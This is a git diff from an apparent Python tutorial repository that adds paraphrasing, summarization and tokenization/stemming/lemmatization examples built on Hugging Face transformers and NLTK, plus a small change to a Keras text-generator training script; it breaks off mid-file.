index 6e11c378..940e93d5 100644
--- a/machine-learning/nlp/text-generator/train.py
+++ b/machine-learning/nlp/text-generator/train.py
@@ -113,7 +113,10 @@ def one_hot_samples(input_, target):
Dense(n_unique_chars, activation="softmax"),
])
-model.load_weights(f"results/{BASENAME}-{sequence_length}.h5")
+# define the model path
+model_weights_path = f"results/{BASENAME}-{sequence_length}.h5"
+# if os.path.isfile(model_weights_path):
+# model.load_weights(model_weights_path)
model.summary()
model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
@@ -126,4 +129,4 @@ def one_hot_samples(input_, target):
# train the model
model.fit(ds, steps_per_epoch=(len(encoded_text) - sequence_length) // BATCH_SIZE, epochs=EPOCHS)
# save the model
-model.save(f"results/{BASENAME}-{sequence_length}.h5")
+model.save(model_weights_path)
diff --git a/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb
new file mode 100644
index 00000000..55d76df0
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb
@@ -0,0 +1,14011 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "pzM7aw7wwXX3",
+ "outputId": "f51a6e74-ac21-40fd-fe0f-f31141bc2243"
+ },
+ "outputs": [],
+ "source": [
+ "# !pip install transformers sentencepiece"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "ISeIFTv3wbBP"
+ },
+ "outputs": [],
+ "source": [
+ "from transformers import *"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "iCFD-rjqm8Mm"
+ },
+ "outputs": [],
+ "source": [
+ "# models we gonna use for this tutorial\n",
+ "model_names = [\n",
+ " \"tuner007/pegasus_paraphrase\",\n",
+ " \"Vamsi/T5_Paraphrase_Paws\",\n",
+ " \"prithivida/parrot_paraphraser_on_T5\", # Parrot\n",
+ "]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 177,
+ "referenced_widgets": [
+ "302122ed60be403f8de83d16bb131f01",
+ "40ca3bd66a3b4a82b3060093f6b30118",
+ "c6e08dd8a8e9405cbef61c10dbb6c8dc",
+ "08927ca870534d02b930900d968c8477",
+ "e031e1ff28e744ec9f9308adbdb7f549",
+ "936ea713a4ea4682a80cc8e7550739ef",
+ "8941da5787534cabbc219811e47fbc15",
+ "a0791b7ccc8c472595f1019ea9ab5d88",
+ "1f77de9e162c43baa6782c73337d79ad",
+ "3d72fd07e34240fc805e7ff8e7e8e7ed",
+ "714869341c534ce5be22daaff1cceeae",
+ "c3ae604a69604f72a1b22e9106540080",
+ "1afd91a1d8eb4919beefdac3152f401e",
+ "818c3e0ab3d9498b98cc26e6df006d6a",
+ "06bb057f22154f0faebcda40b2dbc861",
+ "c69a399a0e9f4abc87fdd9959207a88c",
+ "1b0de92860e644fb83012a514582cfea",
+ "4da8a932547e478d84acaf52903bed78",
+ "8ce1788263004e0193b23589deceb38b",
+ "44a243ebf5a2403a8afc5a0c3b316f1c",
+ "1e3948ee96d3497f8edf9d8b19263335",
+ "5431f4b36a0346d3b472ea0fe20dd48d",
+ "3fafe8d5bf584c918ac533ebf29336fe",
+ "fce256df4e284320a14e55052d7cdf6e",
+ "bb1e640a31364eacbe0da6c4ecffa2b4",
+ "f3487f34f7c146f1b3553481f2a34fa5",
+ "26c426ba73e0459cb6a68df6405a5cfd",
+ "5776ff420e874506b40b74b21b0232e3",
+ "ba6aad62b55a421a891c6a986dad7dac",
+ "93346ba6351145f0a7bf161647c8a08f",
+ "00ba17e28d8947059dfe5b944b11006a",
+ "9c0e317ac1254781846618317ebcae0e",
+ "0c52a46d3d4c484b9e7d8801a0c79950",
+ "9b3e01492a714b69ad3ffe97f89950f8",
+ "ef545b9f69a545b4a76006a5f91a69e8",
+ "7b1e006a345c48368a5fe099e118112d",
+ "98145c54bcc24164b30c72aa3b7a6e1c",
+ "9dd1a8e112414ca6976b8b5028982574",
+ "7b01a3409bad435fbdd470ddd18267d5",
+ "08c45bf115b6472e9a6ccbad35ae965f",
+ "1ad6f7c8092945af9d0807c103615e23",
+ "3d98791950bb488fad7c3e6b5c509741",
+ "186e5d787132428b9fd34eaff9c38520",
+ "89b9666f0324479aaa0d9da395c27c16",
+ "9347ab21cab04cc8a2bffb068aef51a6",
+ "e052caaf34424ae994cc821acd0a5e54",
+ "8397c4fa95df4873821d74775b19a153",
+ "fb8198f88f6a43dbb5d39ec5f353b1af",
+ "7b9925f38cf149af8fd811f7442d2ae4",
+ "88555be021d34bcba415e817b9642a5a",
+ "745e710bf1c240ff995a9f3df04295f0",
+ "03c01714ba8e4993a24e5e55ec26fd9c",
+ "486d6ccb92c84634880426d661b6753c",
+ "ca6c01cae2dd400889111363264abd23",
+ "b7c0fece997647219a30119d742d3751"
+ ]
+ },
+ "id": "PgrQWA_2whqN",
+ "outputId": "54cf6210-d69c-4cc4-a947-261d863568db"
+ },
+ "outputs": [],
+ "source": [
+ "model = PegasusForConditionalGeneration.from_pretrained(\"tuner007/pegasus_paraphrase\")\n",
+ "tokenizer = PegasusTokenizerFast.from_pretrained(\"tuner007/pegasus_paraphrase\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "hPtX7UCfys__"
+ },
+ "outputs": [],
+ "source": [
+ "def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5, num_beams=5):\n",
+ " # tokenize the text to be form of a list of token IDs\n",
+ " inputs = tokenizer([sentence], truncation=True, padding=\"longest\", return_tensors=\"pt\")\n",
+ " # generate the paraphrased sentences\n",
+ " outputs = model.generate(\n",
+ " **inputs,\n",
+ " num_beams=num_beams,\n",
+ " num_return_sequences=num_return_sequences,\n",
+ " )\n",
+ " # decode the generated sentences using the tokenizer to get them back to text\n",
+ " return tokenizer.batch_decode(outputs, skip_special_tokens=True)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "9hG1HJR3Gb0Q"
+ },
+ "outputs": [],
+ "source": [
+ "sentence = \"Learning is the process of acquiring new understanding, knowledge, behaviors, skills, values, attitudes, and preferences.\""
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "6P2tbSy4zdZk",
+ "outputId": "517c81c8-b7f0-459a-aab7-475212f6f26d"
+ },
+ "outputs": [],
+ "source": [
+ "get_paraphrased_sentences(model, tokenizer, sentence, num_beams=10, num_return_sequences=10)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "4amSI3uw7RlT",
+ "outputId": "399326f7-0020-4848-dc9b-4950037351bf"
+ },
+ "outputs": [],
+ "source": [
+ "get_paraphrased_sentences(model, tokenizer, \"To paraphrase a source, you have to rewrite a passage without changing the meaning of the original text.\", num_beams=10, num_return_sequences=10)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 177,
+ "referenced_widgets": [
+ "5d248bc4b414420a94a8d630905dfb15",
+ "d00f7d49a149490492e99ee3f08e21df",
+ "55a469cc6e524c8ba443e5b5bcf8ff90",
+ "629521b4d8f34562ac4c082b9d65676f",
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+ "76e52975e43d4c268947578f56fc4d0b",
+ "37c54f873ad8469fbd8983bf737bc9ab",
+ "aab03d06ea014e9193c1a93f00f338bd",
+ "792402d8bd874d04a94642473184a8e4",
+ "762d0a8e81a54917801dd02e8245b240",
+ "8743562ab5574578911cf006f47da8ea",
+ "9c41ab118fd441e8b7880e1ae9db6f63",
+ "c70a51913db4444c91322ae8fd957d83",
+ "44b5e5229d0345ddb87042cc3e18133c",
+ "bf2122c4a29d44a9ac2f64c4b76c0f60",
+ "f61de8d92b4e4d4cb369c969795589ef",
+ "a6e827f8673442af89429049b1e72075",
+ "56ea107f274f4113b8bf57bec9f52495",
+ "47241502eb7e42f3aecffade97501a43",
+ "a12ac053391d4300a6eacfd70e07fa09",
+ "5ad17d5f499e4367874c55d59e038daf",
+ "01f1934240884fdca4b258da9162eea8",
+ "6377cea1fe8d40d3ae4404eac41225ee",
+ "d83730c26b964173ad265cf354e2e599",
+ "b96583c353884a4e8f21bf92bdcd0088",
+ "137705f8b18f40199162c524c85ae0a4"
+ ]
+ },
+ "id": "1M5tOdBNB6VR",
+ "outputId": "8bb25f8e-4cb1-4521-e922-aed91c0adfce"
+ },
+ "outputs": [],
+ "source": [
+ "tokenizer = AutoTokenizer.from_pretrained(\"Vamsi/T5_Paraphrase_Paws\")\n",
+ "model = AutoModelForSeq2SeqLM.from_pretrained(\"Vamsi/T5_Paraphrase_Paws\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "0ONGGLOMHUtF",
+ "outputId": "3769280f-a3e0-4a1a-8785-ea8ee220ad3b"
+ },
+ "outputs": [],
+ "source": [
+ "get_paraphrased_sentences(model, tokenizer, \"paraphrase: \" + \"One of the best ways to learn is to teach what you've already learned\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Wzo28toRzhGZ",
+ "outputId": "dddc20d9-d326-473c-a191-7998f153c8cb"
+ },
+ "outputs": [],
+ "source": [
+ "# !pip install git+https://github.com/PrithivirajDamodaran/Parrot_Paraphraser.git"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 945,
+ "referenced_widgets": [
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+ "id": "SMFGB_iZANLt",
+ "outputId": "504fcf63-5f1a-434c-91fb-49587702b1f3"
+ },
+ "outputs": [],
+ "source": [
+ "from parrot import Parrot\n",
+ "\n",
+ "parrot = Parrot()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "t5yWdZ_mAXp8",
+ "outputId": "45bec1f4-7aaa-458d-8eb9-325296b834e8"
+ },
+ "outputs": [],
+ "source": [
+ "phrases = [\n",
+ " sentence,\n",
+ " \"One of the best ways to learn is to teach what you've already learned\",\n",
+ " \"Paraphrasing is the process of coming up with someone else's ideas in your own words\"\n",
+ "]\n",
+ "\n",
+ "for phrase in phrases:\n",
+ " print(\"-\"*100)\n",
+ " print(\"Input_phrase: \", phrase)\n",
+ " print(\"-\"*100)\n",
+ " paraphrases = parrot.augment(input_phrase=phrase)\n",
+ " if paraphrases:\n",
+ " for paraphrase in paraphrases:\n",
+ " print(paraphrase)"
+ ]
+ }
+ ],
+ "metadata": {
+ "colab": {
+ "collapsed_sections": [],
+ "name": "Paraphrasing-with-Transformers_PythonCode.ipynb",
+ "provenance": []
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diff --git a/machine-learning/nlp/text-paraphrasing/README.md b/machine-learning/nlp/text-paraphrasing/README.md
new file mode 100644
index 00000000..5f46cbd1
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/README.md
@@ -0,0 +1,2 @@
+# [How to Paraphrase Text using Transformers in Python](https://www.thepythoncode.com/article/paraphrase-text-using-transformers-in-python)
+You can check the Colab notebook [here](https://colab.research.google.com/drive/1bPfvSF7bJqDfw9ZMgfIZPd1Bk-fW7AJY?usp=sharing)
\ No newline at end of file
diff --git a/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py
new file mode 100644
index 00000000..01fdfc14
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py
@@ -0,0 +1,67 @@
+# -*- coding: utf-8 -*-
+"""Paraphrasing-with-Transformers_PythonCode.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+ https://colab.research.google.com/drive/1bPfvSF7bJqDfw9ZMgfIZPd1Bk-fW7AJY
+"""
+
+!pip install transformers sentencepiece
+
+from transformers import *
+
+# models we gonna use for this tutorial
+model_names = [
+ "tuner007/pegasus_paraphrase",
+ "Vamsi/T5_Paraphrase_Paws",
+ "prithivida/parrot_paraphraser_on_T5", # Parrot
+]
+
+model = PegasusForConditionalGeneration.from_pretrained("tuner007/pegasus_paraphrase")
+tokenizer = PegasusTokenizerFast.from_pretrained("tuner007/pegasus_paraphrase")
+
+def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5, num_beams=5):
+ # tokenize the text to be form of a list of token IDs
+ inputs = tokenizer([sentence], truncation=True, padding="longest", return_tensors="pt")
+ # generate the paraphrased sentences
+ outputs = model.generate(
+ **inputs,
+ num_beams=num_beams,
+ num_return_sequences=num_return_sequences,
+ )
+ # decode the generated sentences using the tokenizer to get them back to text
+ return tokenizer.batch_decode(outputs, skip_special_tokens=True)
+
+sentence = "Learning is the process of acquiring new understanding, knowledge, behaviors, skills, values, attitudes, and preferences."
+
+get_paraphrased_sentences(model, tokenizer, sentence, num_beams=10, num_return_sequences=10)
+
+get_paraphrased_sentences(model, tokenizer, "To paraphrase a source, you have to rewrite a passage without changing the meaning of the original text.", num_beams=10, num_return_sequences=10)
+
+tokenizer = AutoTokenizer.from_pretrained("Vamsi/T5_Paraphrase_Paws")
+model = AutoModelForSeq2SeqLM.from_pretrained("Vamsi/T5_Paraphrase_Paws")
+
+get_paraphrased_sentences(model, tokenizer, "paraphrase: " + "One of the best ways to learn is to teach what you've already learned")
+
+!pip install git+https://github.com/PrithivirajDamodaran/Parrot_Paraphraser.git
+
+from parrot import Parrot
+
+parrot = Parrot()
+
+phrases = [
+ sentence,
+ "One of the best ways to learn is to teach what you've already learned",
+ "Paraphrasing is the process of coming up with someone else's ideas in your own words"
+]
+
+for phrase in phrases:
+ print("-"*100)
+ print("Input_phrase: ", phrase)
+ print("-"*100)
+ paraphrases = parrot.augment(input_phrase=phrase)
+ if paraphrases:
+ for paraphrase in paraphrases:
+ print(paraphrase)
+
diff --git a/machine-learning/nlp/text-paraphrasing/requirements.txt b/machine-learning/nlp/text-paraphrasing/requirements.txt
new file mode 100644
index 00000000..8851b9f2
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/requirements.txt
@@ -0,0 +1,2 @@
+transformers
+sentencepiece
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/README.md b/machine-learning/nlp/text-summarization/README.md
new file mode 100644
index 00000000..934a1a42
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/README.md
@@ -0,0 +1,5 @@
+# [How to Perform Text Summarization using Transformers in Python](https://www.thepythoncode.com/article/text-summarization-using-huggingface-transformers-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- To use `pipeline` API, use the `using_pipeline.py` script.
+- For more customization, check out `using_t5.py`
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/requirements.txt b/machine-learning/nlp/text-summarization/requirements.txt
new file mode 100644
index 00000000..4803a9a0
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/requirements.txt
@@ -0,0 +1,2 @@
+transformers
+torch
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/using_pipeline.py b/machine-learning/nlp/text-summarization/using_pipeline.py
new file mode 100644
index 00000000..a3d5ee3c
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/using_pipeline.py
@@ -0,0 +1,30 @@
+from transformers import pipeline
+
+# using pipeline API for summarization task
+summarization = pipeline("summarization")
+original_text = """
+Paul Walker is hardly the first actor to die during a production.
+But Walker's death in November 2013 at the age of 40 after a car crash was especially eerie given his rise to fame in the "Fast and Furious" film franchise.
+The release of "Furious 7" on Friday offers the opportunity for fans to remember -- and possibly grieve again -- the man that so many have praised as one of the nicest guys in Hollywood.
+"He was a person of humility, integrity, and compassion," military veteran Kyle Upham said in an email to CNN.
+Walker secretly paid for the engagement ring Upham shopped for with his bride.
+"We didn't know him personally but this was apparent in the short time we spent with him.
+I know that we will never forget him and he will always be someone very special to us," said Upham.
+The actor was on break from filming "Furious 7" at the time of the fiery accident, which also claimed the life of the car's driver, Roger Rodas.
+Producers said early on that they would not kill off Walker's character, Brian O'Connor, a former cop turned road racer. Instead, the script was rewritten and special effects were used to finish scenes, with Walker's brothers, Cody and Caleb, serving as body doubles.
+There are scenes that will resonate with the audience -- including the ending, in which the filmmakers figured out a touching way to pay tribute to Walker while "retiring" his character. At the premiere Wednesday night in Hollywood, Walker's co-star and close friend Vin Diesel gave a tearful speech before the screening, saying "This movie is more than a movie." "You'll feel it when you see it," Diesel said. "There's something emotional that happens to you, where you walk out of this movie and you appreciate everyone you love because you just never know when the last day is you're gonna see them." There have been multiple tributes to Walker leading up to the release. Diesel revealed in an interview with the "Today" show that he had named his newborn daughter after Walker.
+Social media has also been paying homage to the late actor. A week after Walker's death, about 5,000 people attended an outdoor memorial to him in Los Angeles. Most had never met him. Marcus Coleman told CNN he spent almost $1,000 to truck in a banner from Bakersfield for people to sign at the memorial. "It's like losing a friend or a really close family member ... even though he is an actor and we never really met face to face," Coleman said. "Sitting there, bringing his movies into your house or watching on TV, it's like getting to know somebody. It really, really hurts." Walker's younger brother Cody told People magazine that he was initially nervous about how "Furious 7" would turn out, but he is happy with the film. "It's bittersweet, but I think Paul would be proud," he said. CNN's Paul Vercammen contributed to this report.
+"""
+summary_text = summarization(original_text)[0]['summary_text']
+print("Summary:", summary_text)
+print("="*50)
+# another example
+original_text = """
+For the first time in eight years, a TV legend returned to doing what he does best.
+Contestants told to "come on down!" on the April 1 edition of "The Price Is Right" encountered not host Drew Carey but another familiar face in charge of the proceedings.
+Instead, there was Bob Barker, who hosted the TV game show for 35 years before stepping down in 2007.
+Looking spry at 91, Barker handled the first price-guessing game of the show, the classic "Lucky Seven," before turning hosting duties over to Carey, who finished up.
+Despite being away from the show for most of the past eight years, Barker didn't seem to miss a beat.
+"""
+summary_text = summarization(original_text)[0]['summary_text']
+print("Summary:", summary_text)
\ No newline at end of file
diff --git a/machine-learning/nlp/text-summarization/using_t5.py b/machine-learning/nlp/text-summarization/using_t5.py
new file mode 100644
index 00000000..b07cdc07
--- /dev/null
+++ b/machine-learning/nlp/text-summarization/using_t5.py
@@ -0,0 +1,25 @@
+from transformers import T5ForConditionalGeneration, T5Tokenizer
+
+# initialize the model architecture and weights
+model = T5ForConditionalGeneration.from_pretrained("t5-base")
+# initialize the model tokenizer
+tokenizer = T5Tokenizer.from_pretrained("t5-base")
+article = """
+Justin Timberlake and Jessica Biel, welcome to parenthood.
+The celebrity couple announced the arrival of their son, Silas Randall Timberlake, in statements to People.
+"Silas was the middle name of Timberlake's maternal grandfather Bill Bomar, who died in 2012, while Randall is the musician's own middle name, as well as his father's first," People reports.
+The couple announced the pregnancy in January, with an Instagram post. It is the first baby for both.
+"""
+# encode the text into tensor of integers using the appropriate tokenizer
+inputs = tokenizer.encode("summarize: " + article, return_tensors="pt", max_length=512, truncation=True)
+# generate the summarization output
+outputs = model.generate(
+ inputs,
+ max_length=150,
+ min_length=40,
+ length_penalty=2.0,
+ num_beams=4,
+ early_stopping=True)
+# just for debugging
+print(outputs)
+print(tokenizer.decode(outputs[0]))
\ No newline at end of file
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/README.md b/machine-learning/nlp/tokenization-stemming-lemmatization/README.md
new file mode 100644
index 00000000..f9ba5ebb
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/README.md
@@ -0,0 +1 @@
+# [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py
new file mode 100644
index 00000000..060ca599
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py
@@ -0,0 +1,3 @@
+s = "Hello I am programmer"
+lst = s.split()
+print(lst)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py
new file mode 100644
index 00000000..010d294f
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py
@@ -0,0 +1,3 @@
+s = "Hello, I am programmer"
+lst = s.split(',')
+print(lst)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py
new file mode 100644
index 00000000..4a8cac42
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py
@@ -0,0 +1,11 @@
+def tokenize(file):
+ tok = []
+ f = open(file, 'r')
+ for l in f:
+ lst = l.split()
+ tok.append(lst)
+ return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+ print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py b/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py
new file mode 100644
index 00000000..7f134e2b
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py
@@ -0,0 +1,28 @@
+import nltk
+from nltk.corpus import wordnet
+from nltk.stem import WordNetLemmatizer
+
+word_lst = []
+def lemmatizer(file):
+ lem_lst = []
+ lem = WordNetLemmatizer()
+ f = open(file, 'r')
+ for l in f:
+ word_lst.append(l.strip())
+ w = lem.lemmatize(str(l.strip()))
+ lem_lst.append(w)
+ return lem_lst
+
+def generate_tag(w):
+ t = nltk.pos_tag([w])[0][1][0].upper()
+ dic = {
+ 'N': wordnet.NOUN,
+ 'V': wordnet.VERB,
+ 'A': wordnet.ADJ,
+ 'R': wordnet.ADV
+ }
+ return dic.get(t, wordnet.VERB)
+
+lem_lst = lemmatizer('reviews.txt')
+for i in range(len(word_lst)):
+ print(word_lst[i]+"-->"+lem_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py
new file mode 100644
index 00000000..ee46d37b
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py
@@ -0,0 +1,16 @@
+from nltk.stem import PorterStemmer
+
+word_lst = []
+def stemmer(file):
+ stm_lst = []
+ stm = PorterStemmer()
+ f = open(file, 'r')
+ for l in f:
+ word_lst.append(l)
+ w = stm.stem(str(l.strip()))
+ stm_lst.append(w)
+ return stm_lst
+
+stm_lst = stemmer('reviews.txt')
+for i in range(len(word_lst)):
+ print(word_lst[i]+"-->"+stm_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt b/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt
new file mode 100644
index 00000000..6389271e
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt
@@ -0,0 +1,5 @@
+textblob
+nltk
+huggingface
+tokenizers
+transformers
\ No newline at end of file
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt b/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt
new file mode 100644
index 00000000..5f2bd261
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt
@@ -0,0 +1,4 @@
+The restaurant has a good staff, good food, and a good environment.
+It is a good place for family outings. Hospitable staff.
+The staff is better than other places, but the food is okay.
+People are great here. I loved this place.
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py b/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py
new file mode 100644
index 00000000..150bfed2
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py
@@ -0,0 +1,13 @@
+from nltk import sent_tokenize
+
+def tokenize(file):
+ tok = []
+ f = open(file, 'r')
+ for l in f:
+ lst = sent_tokenize(l)
+ tok.append(lst)
+ return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+ print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py
new file mode 100644
index 00000000..378fa82d
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py
@@ -0,0 +1,16 @@
+from nltk.stem.snowball import SnowballStemmer
+
+word_lst = []
+def stemmer(file):
+ stm_lst = []
+ stm = SnowballStemmer(language='english')
+ f = open(file, 'r')
+ for l in f:
+ word_lst.append(l)
+ w = stm.stem(str(l.strip()))
+ stm_lst.append(w)
+ return stm_lst
+
+stm_lst = stemmer('reviews.txt')
+for i in range(len(word_lst)):
+ print(word_lst[i]+"-->"+stm_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py b/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py
new file mode 100644
index 00000000..ba70f355
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/subword_tokenization_bert.py
@@ -0,0 +1,7 @@
+from transformers import BertTokenizer
+
+tk = BertTokenizer.from_pretrained('bert-base-uncased')
+f = open('reviews.txt', 'r')
+for l in f:
+ res = tk.tokenize(l.strip())
+ print(res)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py b/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py
new file mode 100644
index 00000000..8a1d0ef3
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/textblob_tokenization.py
@@ -0,0 +1,13 @@
+from textblob import TextBlob
+
+def tokenize(file):
+ tok = []
+ f = open(file, 'r')
+ for l in f:
+ lst = TextBlob(l).words
+ tok.append(lst)
+ return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+ print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py
new file mode 100644
index 00000000..0ebbf035
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/tokenize_bpe_tokenizer.py
@@ -0,0 +1,8 @@
+from tokenizers import Tokenizer
+
+tk = Tokenizer.from_file("tokenizer-wiki.json")
+
+f = open('reviews.txt', 'r')
+for l in f:
+ res = tk.encode(l.strip())
+ print(res.tokens)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py
new file mode 100644
index 00000000..68eb4e5a
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/training_bpe_tokenizer.py
@@ -0,0 +1,13 @@
+from tokenizers import Tokenizer
+from tokenizers.models import BPE
+from tokenizers.pre_tokenizers import Whitespace
+from tokenizers.trainers import BpeTrainer
+
+tk = Tokenizer(BPE(unk_token="[UNK]"))
+tr = BpeTrainer()
+tk.pre_tokenizer = Whitespace()
+
+f = [f"wikitext-103-raw\wiki.{s}.raw" for s in ["test", "train", "valid"]]
+tk.train(f, tr)
+
+tk.save("tokenizer-wiki.json")
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py b/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py
new file mode 100644
index 00000000..9bcc3f2d
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/word_tokenization_nltk.py
@@ -0,0 +1,13 @@
+from nltk import word_tokenize
+
+def tokenize(file):
+ tok = []
+ f = open(file, 'r')
+ for l in f:
+ lst = word_tokenize(l)
+ tok.append(lst)
+ return tok
+
+tokens = tokenize('reviews.txt')
+for e in tokens:
+ print(e)
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py
new file mode 100644
index 00000000..9a709d06
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/wordnet_lemmatizer.py
@@ -0,0 +1,16 @@
+from nltk.stem import WordNetLemmatizer
+
+word_lst = []
+def lemmatizer(file):
+ lem_lst = []
+ lem = WordNetLemmatizer()
+ f = open(file, 'r')
+ for l in f:
+ word_lst.append(l.strip())
+ w = lem.lemmatize(str(l.strip()))
+ lem_lst.append(w)
+ return lem_lst
+
+lem_lst = lemmatizer('reviews.txt')
+for i in range(len(word_lst)):
+ print(word_lst[i]+"-->"+lem_lst[i])
diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py
new file mode 100644
index 00000000..baa6d41f
--- /dev/null
+++ b/machine-learning/nlp/tokenization-stemming-lemmatization/wordpiece_tokenizer.py
@@ -0,0 +1,7 @@
+from tokenizers import BertWordPieceTokenizer
+
+tk = BertWordPieceTokenizer("bert-word-piece-vocab.txt", lowercase=True)
